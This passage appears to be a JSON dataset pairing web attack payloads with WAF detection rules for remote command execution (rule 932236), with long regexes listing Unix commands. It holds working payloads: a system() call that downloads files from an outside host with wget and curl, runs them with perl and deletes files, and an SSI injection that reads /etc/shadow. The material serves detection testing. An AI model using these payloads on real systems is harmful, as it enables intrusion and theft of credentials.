:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE from test 932236.yaml combined with html entities at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b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|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b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),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE from test 932236.yaml combined with html entities at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->&arg2=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)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|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|